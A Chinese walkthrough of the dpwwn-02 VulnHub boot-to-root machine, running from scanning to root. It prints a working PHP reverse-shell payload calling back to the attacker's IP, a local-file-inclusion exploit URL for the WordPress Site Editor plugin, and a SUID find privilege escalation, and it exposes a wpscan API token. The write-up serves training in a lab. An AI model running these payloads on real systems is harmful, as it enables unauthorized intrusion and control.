靶机下载地址:https://download.vulnhub.com/dpwwn/dpwwn-02.zip
信息收集
ip add 查看kali Linux虚拟机的IP为:10.10.10.128
https://vulnhub.com/entry/dpwwn-2,343/中查看靶机的信息,IP固定为10.10.10.10
所以kali Linux添加仅主机网卡设置网段为10.10.10.0/24,靶机也设置网卡为仅主机,同样的网段
虽然已知了靶机的IP为10.10.10.10,但是可以使用命令进行扫描:
netdiscover -i eth1 -r 10.10.10.0/24
netdiscover -i eth1 -r 10.10.10.0/24 是一条用来扫描局域网内活动设备的命令,具体解释如下:netdiscover:这是一个网络发现工具,用于扫描本地网络中的活跃设备,显示其 IP 地址和 MAC 地址。它是通过 ARP 请求来发现设备的。-i eth1:指定要使用的网络接口,这里是 eth1,通常指的是系统中的第二个以太网接口。如果你要在其他接口上扫描网络,应该相应地替换为正确的接口名(例如 eth0 或 wlan0)。-r 10.10.10.0/24:指定扫描的 IP 地址范围。10.10.10.0/24 表示扫描 10.10.10.0 到 10.10.10.255 这个网段内的所有 IP 地址,即该子网内的所有设备。
扫描其开放的端口和服务
nmap -sS -sV -A -T4 -p- 10.10.10.10
nmap -sS -sV -A -T4 -p- 10.10.10.10 是一条复杂的 nmap 扫描命令,包含多个选项,用于对目标 IP 地址 10.10.10.10 进行详细的扫描。下面是每个选项的解释:1. -sS(TCP SYN Scan)
这是一个 SYN 扫描,也叫 半开放扫描。nmap 会发送一个 SYN 包来初始化 TCP 连接,然后根据目标主机的响应来判断端口的开放状态。
如果目标返回 SYN-ACK,端口开放;如果返回 RST,端口关闭。
这种扫描方式不会完全建立连接,因此较难被检测到。
2. -sV(Service Version Detection)
启用 服务版本检测,即除了扫描开放端口外,nmap 还会尝试检测这些端口上运行的服务和软件的版本信息。这可以帮助你了解目标主机上运行的具体服务类型(例如:HTTP 服务器、FTP 服务器等)及其版本。
3. -A(Aggressive Scan)
这是一个 激进扫描,它会启用多个高级功能,包括:
操作系统检测:检测目标主机运行的操作系统。
版本检测:类似于 -sV,进一步检查服务的版本。
脚本扫描:执行一些 NSE(Nmap Scripting Engine)脚本,用于发现常见的漏洞或提供额外的信息。
Traceroute:追踪到目标主机的网络路径。
总体上,-A 提供了一个详细且全面的扫描,但也会更加容易被目标检测到。
4. -T4(Timing Template)
设置 扫描的速度和精确度。-T4 表示使用一个相对较快的扫描速度,但不至于太快以至于丢失大量数据。它通常用于在较短时间内完成扫描,但会增加目标检测到扫描的概率。
-T0:最慢、最隐蔽
-T5:最快、最可能被检测到
5. -p-(Scan All Ports)
该选项让 nmap 扫描目标主机的 所有 65535 个端口(从 1 到 65535)。如果没有使用 -p 指定端口,nmap 默认只扫描 1-1024 端口。
6. 10.10.10.10(目标 IP)
目标主机的 IP 地址。此命令会扫描 10.10.10.10 这个 IP 地址上的所有端口,并进行详细分析。
总结:
这条命令将对目标 IP 地址 10.10.10.10 执行以下操作:执行 TCP SYN 扫描(-sS)来检查开放的端口。
检测目标主机上运行的 服务版本(-sV)。
进行 操作系统检测、脚本扫描、版本扫描 等高级操作(-A)。
设置较高的扫描速度(-T4),使得扫描更快速但仍然保持一定的隐蔽性。
扫描 所有 65535 个端口(-p-)。
得到主要信息:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Ubuntu))
|_http-title: dpwwn-02
|_http-server-header: Apache/2.4.38 (Ubuntu)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 45541/tcp mountd
| 100005 1,2,3 46796/udp mountd
| 100005 1,2,3 51765/tcp6 mountd
| 100005 1,2,3 58738/udp6 mountd
| 100021 1,3,4 34787/tcp nlockmgr
| 100021 1,3,4 38633/tcp6 nlockmgr
| 100021 1,3,4 46788/udp nlockmgr
| 100021 1,3,4 53610/udp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
443/tcp open http Apache httpd 2.4.38 ((Ubuntu))
|_http-server-header: Apache/2.4.38 (Ubuntu)
|_http-title: dpwwn-02
2049/tcp open nfs 3-4 (RPC #100003)
34787/tcp open nlockmgr 1-4 (RPC #100021)
44135/tcp open mountd 1-3 (RPC #100005)
45541/tcp open mountd 1-3 (RPC #100005)
50517/tcp open mountd 1-3 (RPC #100005)
服务:
rpcbind,也叫 **portmap**,它是一个用于 **远程过程调用(RPC)** 服务的绑定工具NFS(Network File System)是一种常见的网络文件共享协议,允许在网络上的计算机之间共享文件夹和目录mountd(`44135/tcp`, `45541/tcp`, `50517/tcp`)**:目标主机运行了多个 `mountd` 服务实例,用于处理客户端的挂载请求。每个 `mountd` 服务都监听不同的端口。
遍历子目录
dirb http://10.10.10.10
得到主要访问的URL:http://10.10.10.10/wordpress/
没错得到了wordpress
使用wpscan扫描器进行扫描漏洞
wpscan -url http://10.10.10.10/wordpress
1. wpscan:
wpscan 是一个专门用于扫描和审计 WordPress 网站的工具,常用于渗透测试和安全评估。
它可以帮助检测 WordPress 网站的漏洞、已安装的插件、主题、用户信息等安全相关信息。
2. -url:
-url 参数后面跟随的是要扫描的 WordPress 网站的 URL。你提供的 URL 是 http://10.10.10.10/wordpress,这表示你要扫描的目标网站地址是 http://10.10.10.10/wordpress。
注意,如果该 URL 是一个子目录,wpscan 会从这个路径开始扫描。
3. http://10.10.10.10/wordpress:
这是目标 WordPress 网站的 URL,10.10.10.10 是目标服务器的 IP 地址,/wordpress 是 WordPress 安装所在的子目录。
出现了错误: Scan Aborted: Unable to get https://data.wpscan.org/metadata.json.sha512 (Couldn’t resolve host name)
No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
需要api-token
这里直接上https://wpscan.com/register进行注册
我这里直接提供api-token:nLhs3sSQHXVFWSVykLmtKR5wLM3dqHKUysVtwQmX2t0
执行命令:
wpscan --url http://10.10.10.10/wordpress/ --api-token nLhs3sSQHXVFWSVykLmtKR5wLM3dqHKUysVtwQmX2t0
得到漏洞:本地文件包含
[!] Title: Site Editor <= 1.1.1 - Local File Inclusion (LFI)
本地文件包含:
"本地文件包含"(Local File Inclusion, LFI)漏洞是常见的Web安全问题,通过它,攻击者可以利用受漏洞影响的应用程序访问服务器上的文件。这里可以直接通过发送http请求获取文件
漏洞利用
检索漏洞
根据得到的 [!] Title: Site Editor <= 1.1.1 - Local File Inclusion (LFI)信息得到:
Site Editor应该是一个插件或是软件,1.1.1是他的版本号
直接使用命令进行检索:
searchsploit Site Editor 1.1.1
得到:
\------------------------------------------------------------------ ---------------------------------Exploit Title | Path
------------------------------------------------------------------ ---------------------------------
Drupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Persistent | php/webapps/25493.txt
WordPress Plugin Site Editor 1.1.1 - Local File Inclusion | php/webapps/44340.txt
继续检索:
**searchsploit -m php/webapps/44340.txt **
cat 44340.txt
发现Poc
查看文本文件得到:
** Proof of Concept **
http:///wp-content/plugins/siteeditor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?
ajax_path=/etc/passwd
PoC(Proof of Concept)是漏洞利用的“概念验证”,用于展示漏洞是否存在以及如何利用它。它通常是一个简化的例子,表明漏洞的有效性
这里的漏洞是 本地文件包含漏洞,我们可以根据得到的Poc进行发送http请求,得到我们想要的信息
利用Poc
curl http://10.10.10.10/wordpress/wp-content/plugins/siteeditor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
这样就可以成功访问到/etc/passwd文件!由于之前我们看到了NFS服务,我们可以在dpwwn的家目录下面写文件,然后进行包含
查看靶机共享文件夹的路径
showmount --exports 10.10.10.10
挂载共享文件夹到kali
mkdir dpwwn02
mount -t nfs 10.10.10.10:/home/dpwwn02 --target dpwwn02
mount:这是挂载命令,用于将文件系统连接到本地的挂载点。-t nfs:指定文件系统的类型为 NFS(网络文件系统)。NFS允许通过网络访问远程文件系统。10.10.10.10:/home/dpwwn02:10.10.10.10 是远程服务器的IP地址。
/home/dpwwn02 是在该远程服务器上导出的NFS共享目录。
--target dpwwn02:--target 参数(等效于旧的 -o 或直接写挂载点)指定本地系统上的挂载点。
dpwwn02 是本地路径,表示将远程目录挂载到本地目录名为 dpwwn02 的地方(例如 /mnt/dpwwn02 或当前工作目录中的 dpwwn02)。
df
显示文件系统的磁盘使用情况
挂载点dpwwn02上创建shell.php文件
<?php exec('/bin/bash -c "bash -i >& /dev/tcp/10.10.10.128/4444 0>&1"');?>
获得shell
开启监听
nc -lvp 4444
使用curl发送http请求,获取响应,反弹shell
curl http:/10.10.10.10/wordpress/wp-content/plugins/siteeditor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?
ajax_path=/home/dpwwn02/shell.php
成功收到shell~ 权限是www-data权限
id
whoami
pwd
权限提升
检查特殊权限
find / -perm -u=s -type f 2>/dev/null
find /:
find 命令从指定目录开始查找,这里是根目录 /,表示从整个文件系统中查找文件。-perm -u=s:
查找设置了 SUID 位的文件。SUID(Set User ID) 是一种特殊权限,允许普通用户以文件所有者的权限运行该程序。例如,passwd 命令就需要以超级用户权限修改系统的 /etc/shadow 文件。
-type f:
仅查找文件类型为普通文件(f 表示 file)。2>/dev/null:
将错误输出(如权限不足导致的错误)重定向到 /dev/null,即忽略错误消息,避免在查找过程中打印大量不必要的权限错误信息。
发现了重要信息:
find设置了suid
shell升级
find . -exec /bin/sh -p ; -quit
find .:表示从当前目录 . 开始搜索文件或目录。
实际上,这里并不需要找到具体的文件,因为目标是利用 find 的执行功能。
-exec /bin/sh -p \;:-exec:find 的参数,用于执行指定命令。
/bin/sh:启动一个 shell,这里选择了 sh。
-p:这个参数让 sh 保留调用者的 SUID 权限。如果 find 被设置了 SUID 且以 root 所有者身份运行,则这个 shell 将以 root 权限启动。
\;:是 find 的语法,用于标记 -exec 命令的结束。
-quit:一旦找到一个结果,find 将立即退出。
在这种情况下,-quit 提高了效率,因为目标是直接启动特权 shell,而不是遍历所有文件。
拿到root权限了
id
whoami
pwd
确认是root权限了
获得flag
cd /root
cat dpwwn-02-FLAG.txt
Congratulation! You PWN this dpwwn-02. Hope you enjoy this boot to root CTF.
Thank you. 46617323
24337873
4b4d6f6f
72643234
40323564
4e443462
36312a23
26724a6d